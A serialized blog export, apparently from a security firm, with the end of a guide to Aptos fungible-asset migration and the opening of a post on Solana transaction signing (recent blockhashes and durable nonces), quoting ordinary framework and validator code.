string",{"type":23,"tag":41,"props":67207,"children":67208},{"style":170},[67209],{"type":28,"value":3479},{"type":23,"tag":41,"props":67211,"children":67212},{"style":114},[67213],{"type":28,"value":67214},"utf8",{"type":23,"tag":41,"props":67216,"children":67217},{"style":70},[67218],{"type":28,"value":1737},{"type":23,"tag":41,"props":67220,"children":67221},{"style":735},[67222],{"type":28,"value":67223},"b\"\"",{"type":23,"tag":41,"props":67225,"children":67226},{"style":70},[67227],{"type":28,"value":6735},{"type":23,"tag":41,"props":67229,"children":67230},{"class":43,"line":905},[67231,67235,67239,67243,67247,67251],{"type":23,"tag":41,"props":67232,"children":67233},{"style":70},[67234],{"type":28,"value":67205},{"type":23,"tag":41,"props":67236,"children":67237},{"style":170},[67238],{"type":28,"value":3479},{"type":23,"tag":41,"props":67240,"children":67241},{"style":114},[67242],{"type":28,"value":67214},{"type":23,"tag":41,"props":67244,"children":67245},{"style":70},[67246],{"type":28,"value":1737},{"type":23,"tag":41,"props":67248,"children":67249},{"style":735},[67250],{"type":28,"value":67223},{"type":23,"tag":41,"props":67252,"children":67253},{"style":70},[67254],{"type":28,"value":6735},{"type":23,"tag":41,"props":67256,"children":67257},{"class":43,"line":922},[67258],{"type":23,"tag":41,"props":67259,"children":67260},{"style":70},[67261],{"type":28,"value":3825},{"type":23,"tag":41,"props":67263,"children":67264},{"class":43,"line":930},[67265,67269,67273],{"type":23,"tag":41,"props":67266,"children":67267},{"style":70},[67268],{"type":28,"value":312},{"type":23,"tag":41,"props":67270,"children":67271},{"style":170},[67272],{"type":28,"value":9589},{"type":23,"tag":41,"props":67274,"children":67275},{"style":70},[67276],{"type":28,"value":11769},{"type":23,"tag":24,"props":67278,"children":67279},{},[67280,67282,67287],{"type":28,"value":67281},"When the linked fungible asset was created, the current ",{"type":23,"tag":37,"props":67283,"children":67285},{"className":67284},[],[67286],{"type":28,"value":60963},{"type":28,"value":67288}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":24,"props":67290,"children":67291},{},[67292,67294,67299,67301,67307,67309,67314],{"type":28,"value":67293},"Users can manually migrate their ",{"type":23,"tag":37,"props":67295,"children":67297},{"className":67296},[],[67298],{"type":28,"value":61125},{"type":28,"value":67300}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":37,"props":67302,"children":67304},{"className":67303},[],[67305],{"type":28,"value":67306},"\u003CCoinStore\u003CCoinType>>",{"type":28,"value":67308}," from the caller. All coins in the ",{"type":23,"tag":37,"props":67310,"children":67312},{"className":67311},[],[67313],{"type":28,"value":61125},{"type":28,"value":67315}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":31,"props":67317,"children":67319},{"className":2982,"code":67318,"language":2981,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[67320],{"type":23,"tag":37,"props":67321,"children":67322},{"__ignoreMap":7},[67323,67331,67363,67383,67419,67460],{"type":23,"tag":41,"props":67324,"children":67325},{"class":43,"line":44},[67326],{"type":23,"tag":41,"props":67327,"children":67328},{"style":48},[67329],{"type":28,"value":67330},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":41,"props":67332,"children":67333},{"class":43,"line":54},[67334,67338,67342,67346,67351,67355,67359],{"type":23,"tag":41,"props":67335,"children":67336},{"style":858},[67337],{"type":28,"value":127},{"type":23,"tag":41,"props":67339,"children":67340},{"style":858},[67341],{"type":28,"value":62637},{"type":23,"tag":41,"props":67343,"children":67344},{"style":858},[67345],{"type":28,"value":6205},{"type":23,"tag":41,"props":67347,"children":67348},{"style":858},[67349],{"type":28,"value":67350}," migrate_to_fungible_store",{"type":23,"tag":41,"props":67352,"children":67353},{"style":70},[67354],{"type":28,"value":1012},{"type":23,"tag":41,"props":67356,"children":67357},{"style":94},[67358],{"type":28,"value":6582},{"type":23,"tag":41,"props":67360,"children":67361},{"style":70},[67362],{"type":28,"value":6587},{"type":23,"tag":41,"props":67364,"children":67365},{"class":43,"line":76},[67366,67370,67374,67378],{"type":23,"tag":41,"props":67367,"children":67368},{"style":858},[67369],{"type":28,"value":25170},{"type":23,"tag":41,"props":67371,"children":67372},{"style":170},[67373],{"type":28,"value":1474},{"type":23,"tag":41,"props":67375,"children":67376},{"style":170},[67377],{"type":28,"value":7140},{"type":23,"tag":41,"props":67379,"children":67380},{"style":858},[67381],{"type":28,"value":67382},"signer\n",{"type":23,"tag":41,"props":67384,"children":67385},{"class":43,"line":85},[67386,67390,67394,67398,67402,67407,67411,67415],{"type":23,"tag":41,"props":67387,"children":67388},{"style":70},[67389],{"type":28,"value":866},{"type":23,"tag":41,"props":67391,"children":67392},{"style":858},[67393],{"type":28,"value":6342},{"type":23,"tag":41,"props":67395,"children":67396},{"style":94},[67397],{"type":28,"value":61146},{"type":23,"tag":41,"props":67399,"children":67400},{"style":70},[67401],{"type":28,"value":970},{"type":23,"tag":41,"props":67403,"children":67404},{"style":94},[67405],{"type":28,"value":67406},"CoinConversionMap",{"type":23,"tag":41,"props":67408,"children":67409},{"style":70},[67410],{"type":28,"value":970},{"type":23,"tag":41,"props":67412,"children":67413},{"style":94},[67414],{"type":28,"value":6712},{"type":23,"tag":41,"props":67416,"children":67417},{"style":70},[67418],{"type":28,"value":102},{"type":23,"tag":41,"props":67420,"children":67421},{"class":43,"line":105},[67422,67427,67431,67435,67440,67444,67448,67452,67456],{"type":23,"tag":41,"props":67423,"children":67424},{"style":858},[67425],{"type":28,"value":67426},"    maybe_convert_to_fungible_store",{"type":23,"tag":41,"props":67428,"children":67429},{"style":70},[67430],{"type":28,"value":1012},{"type":23,"tag":41,"props":67432,"children":67433},{"style":94},[67434],{"type":28,"value":6582},{"type":23,"tag":41,"props":67436,"children":67437},{"style":70},[67438],{"type":28,"value":67439},">(signer",{"type":23,"tag":41,"props":67441,"children":67442},{"style":170},[67443],{"type":28,"value":3479},{"type":23,"tag":41,"props":67445,"children":67446},{"style":114},[67447],{"type":28,"value":7208},{"type":23,"tag":41,"props":67449,"children":67450},{"style":70},[67451],{"type":28,"value":1737},{"type":23,"tag":41,"props":67453,"children":67454},{"style":858},[67455],{"type":28,"value":12948},{"type":23,"tag":41,"props":67457,"children":67458},{"style":70},[67459],{"type":28,"value":7222},{"type":23,"tag":41,"props":67461,"children":67462},{"class":43,"line":155},[67463],{"type":23,"tag":41,"props":67464,"children":67465},{"style":70},[67466],{"type":28,"value":201},{"type":23,"tag":24,"props":67468,"children":67469},{},[67470,67472,67477,67479,67484],{"type":28,"value":67471},"A curious reader might wonder about the fate of the ",{"type":23,"tag":37,"props":67473,"children":67475},{"className":67474},[],[67476],{"type":28,"value":61125},{"type":28,"value":67478}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":37,"props":67480,"children":67482},{"className":67481},[],[67483],{"type":28,"value":61125},{"type":28,"value":67485}," to ensure consistency.",{"type":23,"tag":66181,"props":67487,"children":67488},{},[67489,67508],{"type":23,"tag":24,"props":67490,"children":67491},{},[67492,67494,67499,67501,67506],{"type":28,"value":67493},"Could an attacker convert their ",{"type":23,"tag":37,"props":67495,"children":67497},{"className":67496},[],[67498],{"type":28,"value":61125},{"type":28,"value":67500}," to a primary fungible store and then register another ",{"type":23,"tag":37,"props":67502,"children":67504},{"className":67503},[],[67505],{"type":28,"value":61125},{"type":28,"value":67507}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":753,"props":67509,"children":67510},{"v-slot:answer-0":7},[67511],{"type":23,"tag":24,"props":67512,"children":67513},{},[67514],{"type":28,"value":67515},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":446,"props":67517,"children":67518},{"id":2811},[67519],{"type":28,"value":2814},{"type":23,"tag":24,"props":67521,"children":67522},{},[67523,67525,67530],{"type":28,"value":67524},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":37,"props":67526,"children":67528},{"className":67527},[],[67529],{"type":28,"value":60963},{"type":28,"value":706},{"type":23,"tag":24,"props":67532,"children":67533},{},[67534],{"type":28,"value":67535},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":24,"props":67537,"children":67538},{},[67539,67541],{"type":28,"value":67540},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":15465,"props":67542,"children":67543},{},[67544],{"type":23,"tag":458,"props":67545,"children":67547},{"href":29620,"ariaDescribedBy":67546,"dataFootnoteRef":7,"id":29622},[15472],[67548],{"type":28,"value":317},{"type":23,"tag":18410,"props":67550,"children":67552},{"className":67551,"dataFootnotes":7},[18413],[67553,67558],{"type":23,"tag":446,"props":67554,"children":67556},{"className":67555,"id":15472},[18418],[67557],{"type":28,"value":18421},{"type":23,"tag":5436,"props":67559,"children":67560},{},[67561],{"type":23,"tag":421,"props":67562,"children":67563},{"id":30360},[67564,67566,67608],{"type":28,"value":67565},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":417,"props":67567,"children":67568},{},[67569,67579,67588,67598],{"type":23,"tag":421,"props":67570,"children":67571},{},[67572],{"type":23,"tag":458,"props":67573,"children":67577},{"href":67574,"rel":67575,":style":67576},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[462],"color: #007bff;",[67578],{"type":28,"value":64262},{"type":23,"tag":421,"props":67580,"children":67581},{},[67582],{"type":23,"tag":458,"props":67583,"children":67586},{"href":67584,"rel":67585,":style":67576},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[462],[67587],{"type":28,"value":66202},{"type":23,"tag":421,"props":67589,"children":67590},{},[67591],{"type":23,"tag":458,"props":67592,"children":67595},{"href":67593,"rel":67594,":style":67576},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[462],[67596],{"type":28,"value":67597},"primary_fungible_store::withdraw",{"type":23,"tag":421,"props":67599,"children":67600},{},[67601],{"type":23,"tag":458,"props":67602,"children":67605},{"href":67603,"rel":67604,":style":67576},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[462],[67606],{"type":28,"value":67607},"coin::withdraw",{"type":23,"tag":458,"props":67609,"children":67611},{"href":30388,"ariaLabel":18524,"className":67610,"dataFootnoteBackref":7},[18526],[67612],{"type":28,"value":18529},{"type":23,"tag":2843,"props":67614,"children":67615},{},[67616],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":67618},[67619,67620,67621,67624,67629,67630,67631,67632],{"id":60949,"depth":54,"text":60952},{"id":61494,"depth":54,"text":61497},{"id":62052,"depth":54,"text":62055,"children":67622},[67623],{"id":62563,"depth":76,"text":62566},{"id":62820,"depth":54,"text":62823,"children":67625},[67626,67627,67628],{"id":62863,"depth":76,"text":62866},{"id":63568,"depth":76,"text":63571},{"id":65226,"depth":76,"text":65229},{"id":65757,"depth":54,"text":65760},{"id":66737,"depth":54,"text":66740},{"id":2811,"depth":54,"text":2814},{"id":15472,"depth":54,"text":18421},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":67637,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67638,"description":67639,"date":67640,"author":5720,"image":67641,"isFeatured":18,"onBlogPage":18,"tags":67643,"body":67644,"_type":2864,"_id":69472,"_source":2866,"_file":69473,"_stem":69474,"_extension":2869},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":67642,"width":5384,"height":5385},"/posts/multisig-security/title.png",[2881],{"type":20,"children":67645,"toc":69463},[67646,67659,67665,67670,67676,67689,67697,67710,67770,67792,67919,67924,67937,67949,67955,67969,67982,67996,68478,68483,68491,68505,68519,68658,68670,68676,68681,68699,68704,68709,68730,69014,69029,69217,69230,69359,69364,69369,69374,69402,69408,69413,69427,69459],{"type":23,"tag":24,"props":67647,"children":67648},{},[67649,67650,67657],{"type":28,"value":16601},{"type":23,"tag":458,"props":67651,"children":67654},{"href":67652,"rel":67653},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[462],[67655],{"type":28,"value":67656},"Bybit hack",{"type":28,"value":67658}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":446,"props":67660,"children":67662},{"id":67661},"solana-signatures",[67663],{"type":28,"value":67664},"Solana Signatures",{"type":23,"tag":24,"props":67666,"children":67667},{},[67668],{"type":28,"value":67669},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":546,"props":67671,"children":67673},{"id":67672},"recent-blockhash",[67674],{"type":28,"value":67675},"Recent Blockhash",{"type":23,"tag":24,"props":67677,"children":67678},{},[67679,67681,67688],{"type":28,"value":67680},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":458,"props":67682,"children":67685},{"href":67683,"rel":67684},"https://solana.com/developers/guides/advanced/confirmation",[462],[67686],{"type":28,"value":67687},"the docs",{"type":28,"value":1474},{"type":23,"tag":518,"props":67690,"children":67691},{},[67692],{"type":23,"tag":24,"props":67693,"children":67694},{},[67695],{"type":28,"value":67696},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":24,"props":67698,"children":67699},{},[67700,67702,67709],{"type":28,"value":67701},"The actual constant ",{"type":23,"tag":458,"props":67703,"children":67706},{"href":67704,"rel":67705},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[462],[67707],{"type":28,"value":67708},"is defined here",{"type":28,"value":706},{"type":23,"tag":31,"props":67711,"children":67713},{"className":2982,"code":67712,"language":2981,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[67714],{"type":23,"tag":37,"props":67715,"children":67716},{"__ignoreMap":7},[67717,67725],{"type":23,"tag":41,"props":67718,"children":67719},{"class":43,"line":44},[67720],{"type":23,"tag":41,"props":67721,"children":67722},{"style":48},[67723],{"type":28,"value":67724},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":41,"props":67726,"children":67727},{"class":43,"line":54},[67728,67732,67736,67741,67745,67749,67753,67758,67762,67766],{"type":23,"tag":41,"props":67729,"children":67730},{"style":64},[67731],{"type":28,"value":13685},{"type":23,"tag":41,"props":67733,"children":67734},{"style":64},[67735],{"type":28,"value":39104},{"type":23,"tag":41,"props":67737,"children":67738},{"style":70},[67739],{"type":28,"value":67740}," MAX_PROCESSING_AGE",{"type":23,"tag":41,"props":67742,"children":67743},{"style":170},[67744],{"type":28,"value":1474},{"type":23,"tag":41,"props":67746,"children":67747},{"style":94},[67748],{"type":28,"value":13726},{"type":23,"tag":41,"props":67750,"children":67751},{"style":170},[67752],{"type":28,"value":3017},{"type":23,"tag":41,"props":67754,"children":67755},{"style":70},[67756],{"type":28,"value":67757}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":41,"props":67759,"children":67760},{"style":170},[67761],{"type":28,"value":4579},{"type":23,"tag":41,"props":67763,"children":67764},{"style":164},[67765],{"type":28,"value":178},{"type":23,"tag":41,"props":67767,"children":67768},{"style":70},[67769],{"type":28,"value":183},{"type":23,"tag":24,"props":67771,"children":67772},{},[67773,67775,67782,67784,67790],{"type":28,"value":67774},"For those curious, the logic ",{"type":23,"tag":458,"props":67776,"children":67779},{"href":67777,"rel":67778},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[462],[67780],{"type":28,"value":67781},"starts here",{"type":28,"value":67783}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":37,"props":67785,"children":67787},{"className":67786},[],[67788],{"type":28,"value":67789},"is_hash_index_valid",{"type":28,"value":67791}," check.",{"type":23,"tag":31,"props":67793,"children":67795},{"className":2982,"code":67794,"language":2981,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[67796],{"type":23,"tag":37,"props":67797,"children":67798},{"__ignoreMap":7},[67799,67878,67912],{"type":23,"tag":41,"props":67800,"children":67801},{"class":43,"line":44},[67802,67806,67811,67815,67820,67824,67828,67832,67837,67841,67845,67849,67854,67858,67862,67866,67870,67874],{"type":23,"tag":41,"props":67803,"children":67804},{"style":64},[67805],{"type":28,"value":20255},{"type":23,"tag":41,"props":67807,"children":67808},{"style":114},[67809],{"type":28,"value":67810}," is_hash_index_valid",{"type":23,"tag":41,"props":67812,"children":67813},{"style":70},[67814],{"type":28,"value":1737},{"type":23,"tag":41,"props":67816,"children":67817},{"style":858},[67818],{"type":28,"value":67819},"last_hash_index",{"type":23,"tag":41,"props":67821,"children":67822},{"style":170},[67823],{"type":28,"value":1474},{"type":23,"tag":41,"props":67825,"children":67826},{"style":94},[67827],{"type":28,"value":5860},{"type":23,"tag":41,"props":67829,"children":67830},{"style":70},[67831],{"type":28,"value":970},{"type":23,"tag":41,"props":67833,"children":67834},{"style":858},[67835],{"type":28,"value":67836},"max_age",{"type":23,"tag":41,"props":67838,"children":67839},{"style":170},[67840],{"type":28,"value":1474},{"type":23,"tag":41,"props":67842,"children":67843},{"style":94},[67844],{"type":28,"value":13726},{"type":23,"tag":41,"props":67846,"children":67847},{"style":70},[67848],{"type":28,"value":970},{"type":23,"tag":41,"props":67850,"children":67851},{"style":858},[67852],{"type":28,"value":67853},"hash_index",{"type":23,"tag":41,"props":67855,"children":67856},{"style":170},[67857],{"type":28,"value":1474},{"type":23,"tag":41,"props":67859,"children":67860},{"style":94},[67861],{"type":28,"value":5860},{"type":23,"tag":41,"props":67863,"children":67864},{"style":70},[67865],{"type":28,"value":866},{"type":23,"tag":41,"props":67867,"children":67868},{"style":170},[67869],{"type":28,"value":2453},{"type":23,"tag":41,"props":67871,"children":67872},{"style":94},[67873],{"type":28,"value":12047},{"type":23,"tag":41,"props":67875,"children":67876},{"style":70},[67877],{"type":28,"value":102},{"type":23,"tag":41,"props":67879,"children":67880},{"class":43,"line":54},[67881,67886,67890,67895,67899,67904,67908],{"type":23,"tag":41,"props":67882,"children":67883},{"style":858},[67884],{"type":28,"value":67885},"    last_hash_index",{"type":23,"tag":41,"props":67887,"children":67888},{"style":170},[67889],{"type":28,"value":51250},{"type":23,"tag":41,"props":67891,"children":67892},{"style":858},[67893],{"type":28,"value":67894}," hash_index",{"type":23,"tag":41,"props":67896,"children":67897},{"style":170},[67898],{"type":28,"value":8196},{"type":23,"tag":41,"props":67900,"children":67901},{"style":858},[67902],{"type":28,"value":67903}," max_age",{"type":23,"tag":41,"props":67905,"children":67906},{"style":64},[67907],{"type":28,"value":8825},{"type":23,"tag":41,"props":67909,"children":67910},{"style":94},[67911],{"type":28,"value":13192},{"type":23,"tag":41,"props":67913,"children":67914},{"class":43,"line":76},[67915],{"type":23,"tag":41,"props":67916,"children":67917},{"style":70},[67918],{"type":28,"value":201},{"type":23,"tag":24,"props":67920,"children":67921},{},[67922],{"type":28,"value":67923},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":518,"props":67925,"children":67926},{},[67927],{"type":23,"tag":24,"props":67928,"children":67929},{},[67930,67932],{"type":28,"value":67931},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":510,"props":67933,"children":67934},{},[67935],{"type":28,"value":67936},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":24,"props":67938,"children":67939},{},[67940,67942,67947],{"type":28,"value":67941},"This means an attacker ",{"type":23,"tag":2913,"props":67943,"children":67944},{},[67945],{"type":28,"value":67946},"must use",{"type":28,"value":67948}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":546,"props":67950,"children":67952},{"id":67951},"durable-nonce",[67953],{"type":28,"value":67954},"Durable Nonce",{"type":23,"tag":24,"props":67956,"children":67957},{},[67958,67960,67967],{"type":28,"value":67959},"The second type of signature ",{"type":23,"tag":458,"props":67961,"children":67964},{"href":67962,"rel":67963},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[462],[67965],{"type":28,"value":67966},"is a durable nonce",{"type":28,"value":67968},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":518,"props":67970,"children":67971},{},[67972],{"type":23,"tag":24,"props":67973,"children":67974},{},[67975,67977],{"type":28,"value":67976},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":510,"props":67978,"children":67979},{},[67980],{"type":28,"value":67981},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":24,"props":67983,"children":67984},{},[67985,67987,67994],{"type":28,"value":67986},"If we examine the code ",{"type":23,"tag":458,"props":67988,"children":67991},{"href":67989,"rel":67990},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[462],[67992],{"type":28,"value":67993},"for recent blockhash validation",{"type":28,"value":67995},", we can also see the handling for durable nonces.",{"type":23,"tag":31,"props":67997,"children":67999},{"className":2982,"code":67998,"language":2981,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[68000],{"type":23,"tag":37,"props":68001,"children":68002},{"__ignoreMap":7},[68003,68050,68116,68136,68156,68186,68194,68248,68265,68285,68297,68309,68317,68324,68343,68370,68390,68397,68412,68442,68471],{"type":23,"tag":41,"props":68004,"children":68005},{"class":43,"line":44},[68006,68010,68015,68019,68024,68028,68033,68037,68041,68046],{"type":23,"tag":41,"props":68007,"children":68008},{"style":64},[68009],{"type":28,"value":3002},{"type":23,"tag":41,"props":68011,"children":68012},{"style":858},[68013],{"type":28,"value":68014}," recent_blockhash",{"type":23,"tag":41,"props":68016,"children":68017},{"style":170},[68018],{"type":28,"value":3017},{"type":23,"tag":41,"props":68020,"children":68021},{"style":858},[68022],{"type":28,"value":68023}," tx",{"type":23,"tag":41,"props":68025,"children":68026},{"style":170},[68027],{"type":28,"value":706},{"type":23,"tag":41,"props":68029,"children":68030},{"style":114},[68031],{"type":28,"value":68032},"message",{"type":23,"tag":41,"props":68034,"children":68035},{"style":70},[68036],{"type":28,"value":13873},{"type":23,"tag":41,"props":68038,"children":68039},{"style":170},[68040],{"type":28,"value":706},{"type":23,"tag":41,"props":68042,"children":68043},{"style":114},[68044],{"type":28,"value":68045},"recent_blockhash",{"type":23,"tag":41,"props":68047,"children":68048},{"style":70},[68049],{"type":28,"value":3669},{"type":23,"tag":41,"props":68051,"children":68052},{"class":43,"line":54},[68053,68057,68061,68065,68069,68074,68078,68082,68087,68091,68096,68100,68104,68108,68112],{"type":23,"tag":41,"props":68054,"children":68055},{"style":58},[68056],{"type":28,"value":2440},{"type":23,"tag":41,"props":68058,"children":68059},{"style":64},[68060],{"type":28,"value":27304},{"type":23,"tag":41,"props":68062,"children":68063},{"style":94},[68064],{"type":28,"value":27309},{"type":23,"tag":41,"props":68066,"children":68067},{"style":70},[68068],{"type":28,"value":1737},{"type":23,"tag":41,"props":68070,"children":68071},{"style":858},[68072],{"type":28,"value":68073},"hash_info",{"type":23,"tag":41,"props":68075,"children":68076},{"style":70},[68077],{"type":28,"value":866},{"type":23,"tag":41,"props":68079,"children":68080},{"style":170},[68081],{"type":28,"value":2381},{"type":23,"tag":41,"props":68083,"children":68084},{"style":858},[68085],{"type":28,"value":68086}," hash_queue",{"type":23,"tag":41,"props":68088,"children":68089},{"style":170},[68090],{"type":28,"value":706},{"type":23,"tag":41,"props":68092,"children":68093},{"style":114},[68094],{"type":28,"value":68095},"get_hash_info_if_valid",{"type":23,"tag":41,"props":68097,"children":68098},{"style":70},[68099],{"type":28,"value":1737},{"type":23,"tag":41,"props":68101,"children":68102},{"style":858},[68103],{"type":28,"value":68045},{"type":23,"tag":41,"props":68105,"children":68106},{"style":70},[68107],{"type":28,"value":970},{"type":23,"tag":41,"props":68109,"children":68110},{"style":858},[68111],{"type":28,"value":67836},{"type":23,"tag":41,"props":68113,"children":68114},{"style":70},[68115],{"type":28,"value":152},{"type":23,"tag":41,"props":68117,"children":68118},{"class":43,"line":76},[68119,68123,68127,68132],{"type":23,"tag":41,"props":68120,"children":68121},{"style":94},[68122],{"type":28,"value":14803},{"type":23,"tag":41,"props":68124,"children":68125},{"style":70},[68126],{"type":28,"value":1737},{"type":23,"tag":41,"props":68128,"children":68129},{"style":94},[68130],{"type":28,"value":68131},"CheckedTransactionDetails",{"type":23,"tag":41,"props":68133,"children":68134},{"style":70},[68135],{"type":28,"value":102},{"type":23,"tag":41,"props":68137,"children":68138},{"class":43,"line":85},[68139,68144,68148,68152],{"type":23,"tag":41,"props":68140,"children":68141},{"style":858},[68142],{"type":28,"value":68143},"            nonce",{"type":23,"tag":41,"props":68145,"children":68146},{"style":170},[68147],{"type":28,"value":1474},{"type":23,"tag":41,"props":68149,"children":68150},{"style":94},[68151],{"type":28,"value":27757},{"type":23,"tag":41,"props":68153,"children":68154},{"style":70},[68155],{"type":28,"value":3506},{"type":23,"tag":41,"props":68157,"children":68158},{"class":43,"line":105},[68159,68164,68168,68173,68177,68182],{"type":23,"tag":41,"props":68160,"children":68161},{"style":858},[68162],{"type":28,"value":68163},"            lamports_per_signature",{"type":23,"tag":41,"props":68165,"children":68166},{"style":170},[68167],{"type":28,"value":1474},{"type":23,"tag":41,"props":68169,"children":68170},{"style":858},[68171],{"type":28,"value":68172}," hash_info",{"type":23,"tag":41,"props":68174,"children":68175},{"style":170},[68176],{"type":28,"value":706},{"type":23,"tag":41,"props":68178,"children":68179},{"style":114},[68180],{"type":28,"value":68181},"lamports_per_signature",{"type":23,"tag":41,"props":68183,"children":68184},{"style":70},[68185],{"type":28,"value":3489},{"type":23,"tag":41,"props":68187,"children":68188},{"class":43,"line":155},[68189],{"type":23,"tag":41,"props":68190,"children":68191},{"style":70},[68192],{"type":28,"value":68193},"        })\n",{"type":23,"tag":41,"props":68195,"children":68196},{"class":43,"line":186},[68197,68201,68205,68209,68213,68217,68221,68226,68230,68235,68239,68243],{"type":23,"tag":41,"props":68198,"children":68199},{"style":70},[68200],{"type":28,"value":15768},{"type":23,"tag":41,"props":68202,"children":68203},{"style":58},[68204],{"type":28,"value":3315},{"type":23,"tag":41,"props":68206,"children":68207},{"style":58},[68208],{"type":28,"value":2536},{"type":23,"tag":41,"props":68210,"children":68211},{"style":64},[68212],{"type":28,"value":27304},{"type":23,"tag":41,"props":68214,"children":68215},{"style":94},[68216],{"type":28,"value":27309},{"type":23,"tag":41,"props":68218,"children":68219},{"style":70},[68220],{"type":28,"value":31517},{"type":23,"tag":41,"props":68222,"children":68223},{"style":858},[68224],{"type":28,"value":68225},"nonce",{"type":23,"tag":41,"props":68227,"children":68228},{"style":70},[68229],{"type":28,"value":970},{"type":23,"tag":41,"props":68231,"children":68232},{"style":858},[68233],{"type":28,"value":68234},"previous_lamports_per_signature",{"type":23,"tag":41,"props":68236,"children":68237},{"style":70},[68238],{"type":28,"value":1746},{"type":23,"tag":41,"props":68240,"children":68241},{"style":170},[68242],{"type":28,"value":2381},{"type":23,"tag":41,"props":68244,"children":68245},{"style":64},[68246],{"type":28,"value":68247}," self\n",{"type":23,"tag":41,"props":68249,"children":68250},{"class":43,"line":195},[68251,68256,68261],{"type":23,"tag":41,"props":68252,"children":68253},{"style":170},[68254],{"type":28,"value":68255},"        .",{"type":23,"tag":41,"props":68257,"children":68258},{"style":114},[68259],{"type":28,"value":68260},"check_load_and_advance_message_nonce_account",{"type":23,"tag":41,"props":68262,"children":68263},{"style":70},[68264],{"type":28,"value":3461},{"type":23,"tag":41,"props":68266,"children":68267},{"class":43,"line":905},[68268,68273,68277,68281],{"type":23,"tag":41,"props":68269,"children":68270},{"style":858},[68271],{"type":28,"value":68272},"            